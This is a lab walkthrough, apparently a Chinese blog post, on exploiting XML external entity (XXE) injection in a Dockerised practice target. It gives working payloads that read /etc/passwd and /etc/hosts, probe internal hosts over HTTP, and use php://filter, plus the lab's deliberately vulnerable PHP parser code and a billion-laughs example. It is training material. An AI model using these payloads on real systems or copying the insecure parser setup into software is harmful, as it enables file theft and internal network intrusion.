xxe靶场通关

最近已经复习完了ssrf,sql,xss靶场,现在我们来复习xee靶场。

目录

一、xxe漏洞介绍

二、靶场安装与通关

​编辑

1、通过file协议读取内容

2、通过fiel协议抓取主机信息

3、使用http协议探测内网或者攻击内网主机

4、ftp://(类似 HTTP,访问 FTP 服务)

5、gopher协议

6、php://协议


一、xxe漏洞介绍

xxe(XMl外部实体注入),使用的 XML 解析器未禁用外部实体(External Entity) ,攻击者可构造包含外部实体声明的 XML 数据,诱导解析器加载外部资源。

主要危害:

1)本地文件泄露:通过外部实体引用本地文件,如构造<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>,解析后可获取/etc/passwd内容。

2)内网探测:外部实体支持http://协议,如<!ENTITY xxe SYSTEM "http://192.168.1.200:8080">,可探测内网服务是否存活、端口是否开放。

3)DoS 攻击:通过 “亿笑攻击(Billion Laughs)” 构造循环引用的实体(如<!ENTITY a "aaa"><!ENTITY b "&a;&a;&a;">),导致解析器内存耗尽崩溃。

二、靶场安装与通关

此靶场使用docker进行安装,命令如下

docker pull rrodrigo/xxelab

然后运行靶场即可,命令如下

docker run -d --name="xxe" -p 9500:80 rrodrigo/xxelab

浏览器访问即可

1、通过file协议读取内容

我们先随便使用账号密码登录,然后抓包

可以清楚看到以xml来提交数据,那么就可以构造payload了,其payload语句如下所示

<?xml version="1.0"?>
<!DOCTYPE admin [
<!ENTITY test SYSTEM  "file:///etc/passwd">
]>
<root><name>&test;</name><tel>1</tel><email>1</email><password>1</password></root>

那么逐句解释一下此payload的意思,后面的攻击只要基于此构造即可。

XML 声明<?xml version="1.0"?>表明这是一个 XML 1.0 版本的文档,是 XML 的标准开头。

DOCTYPE 声明与外部实体定义

<!DOCTYPE admin [
<!ENTITY test SYSTEM  "file:///etc/passwd">
]>
  • <!DOCTYPE admin [...]>:定义了文档类型(DOCTYPE),名称为admin(可自定义),括号内是实体声明。
  • <!ENTITY test SYSTEM "file:///etc/passwd">:声明了一个外部实体(External Entity),名称为test,通过SYSTEM关键字指定实体的内容来自外部资源 ——file:///etc/passwd(Linux 系统中存储用户账户信息的敏感文件,包含用户名、UID、家目录等)。

XML 主体内容

<root><name>&test;</name><tel>1</tel><email>1</email><password>1</password></root>

<name>标签中,通过&test;引用了前面定义的外部实体test。此时,若解析该 XML 的服务器未禁用外部实体解析,会将/etc/passwd文件的内容替换到&test;的位置,最终导致<name>标签的值变为/etc/passwd的内容(例如root:x:0:0:root:/root:/bin/bash等用户信息)。

如下所示

没有信息,说明传递给<name>标签没有用,我们将&test;换到其它标签,最后测试换到<email>标签可以进行读取,如图所示

可以看到,我们已经成功读取到/etc/passwd的内容,那么我们可以怎么扩大危害呢,这里我们就可以使用协议来进行扩大危害了。

2、通过fiel协议抓取主机信息

使用命令如下

file:///etc/hosts

3、使用http协议探测内网或者攻击内网主机

http://172.17.0.2

因为这是单个靶场,无法完成其它的,但是其实在这里和ssrf一样都是可以通过http协议使用get请求来攻击内网,若是想要了解更加清楚的可以去看我的ssrf-labs靶场通关,里面有详细的教程。ssrf-labs靶场安装+通关(1)-优快云博客

4、ftp://(类似 HTTP,访问 FTP 服务)

让目标服务器向 FTP 服务器发起请求,功能与 http:// 类似,可用于 SSRF 或读取 FTP 上的文件。由于此靶场没有ftp服务,所以无法做演示。

5、gopher协议

一款强大的协议,可以将用于请求方式post等,构造复杂的 TCP 数据包,攻击内部服务(如 Redis 未授权访问、SMTP 邮件伪造)。但是需要数据流,就是需要通过其url编码,并且其现代解析器支持较少,所以应用较少。在我的这两篇文章里面也是有详细的讲述的。ssrf-labs靶场安装+通关(1)-优快云博客

ssrf-labs通关(2)-优快云博客

6、php://协议

这个应该叫php伪协议,打过CTF应该都知道这个。php:// 是 PHP 专属的 “流包装器”(也被称为 “PHP 伪协议”),并非传统网络协议,而是 PHP 用于访问内部输入 / 输出流、内存、文件系统等资源的内部机制。但是需要在php环境下,并且再代码中需要有这样的逻辑

// 读取 XML 中的外部实体,并通过 file_get_contents 处理
$xml = simplexml_load_string($postData);
$content = file_get_contents($xml->entity); // 假设 $xml->entity 是外部实体的值

当php存在这样的逻辑时,才能使用php伪协议。此靶场可以通过php协议来进行数据流的读取。

使用如下命令

php://filter/read=convert.base64-encode/resource=/etc/passwd

输出结果以base64的进行编码,需要进行解码,如下所示

最后再附上靶场源码

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$info = simplexml_import_dom($dom);
$name = $info->name;
$tel = $info->tel;
$email = $info->email;
$password = $info->password;

echo "Sorry, $email is already registered!";
?>

### Pikachu 靶场 XXE 漏洞利用解题思路 #### 背景介绍 XML外部实体注入(XXE)是一种针对应用程序解析 XML 输入时的安全漏洞。当应用程序处理不受信任的数据作为 XML 并允许引用外部实体时,可能会发生此漏洞。 #### 解题思路 为了成功利用 Pikatchu 靶场中的 XXE 漏洞,可以按照以下逻辑进行操作: 1. **理解目标环境** 应用程序接受来自用户的 XML 数据并将其用于某些内部功能。如果该应用未正确配置其 XML 处理器,则可能受到 XXE 的影响[^1]。 2. **构建恶意负载** 构建一个能够读取服务器上任意文件或执行其他有害行为的有效载荷。对于简单的 XXE 利用来说,通常会尝试访问 `/etc/passwd` 文件来验证是否存在漏洞。 3. **发送请求** 使用工具如 `curl` 或浏览器开发者控制台向存在潜在 XXE 漏洞的服务端点提交特制的 XML 请求。例如,在本案例中可能是某个上传接口或其他接收 XML 参数的功能页面[^2]。 4. **分析响应** 如果服务端返回了预期的结果(比如显示了 `/etc/passwd` 的内容),则说明成功触发了 XXE 漏洞;此时可以根据具体需求进一步探索如何扩大战果,如获取敏感信息、命令执行等。 5. **深入挖掘** 对于更复杂的场景,还可以考虑结合盲注技术或者其他类型的 Web 安全问题来进行联合攻击,从而实现更加隐蔽和强大的效果。 ```xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo> ``` 上述代码片段展示了基本的 XXE 攻击 payload 结构,其中定义了一个名为 `xxe` 的外部实体,并指向本地系统的密码文件路径。这只是一个示例,请勿非法使用此类技术。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jieyu1119

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值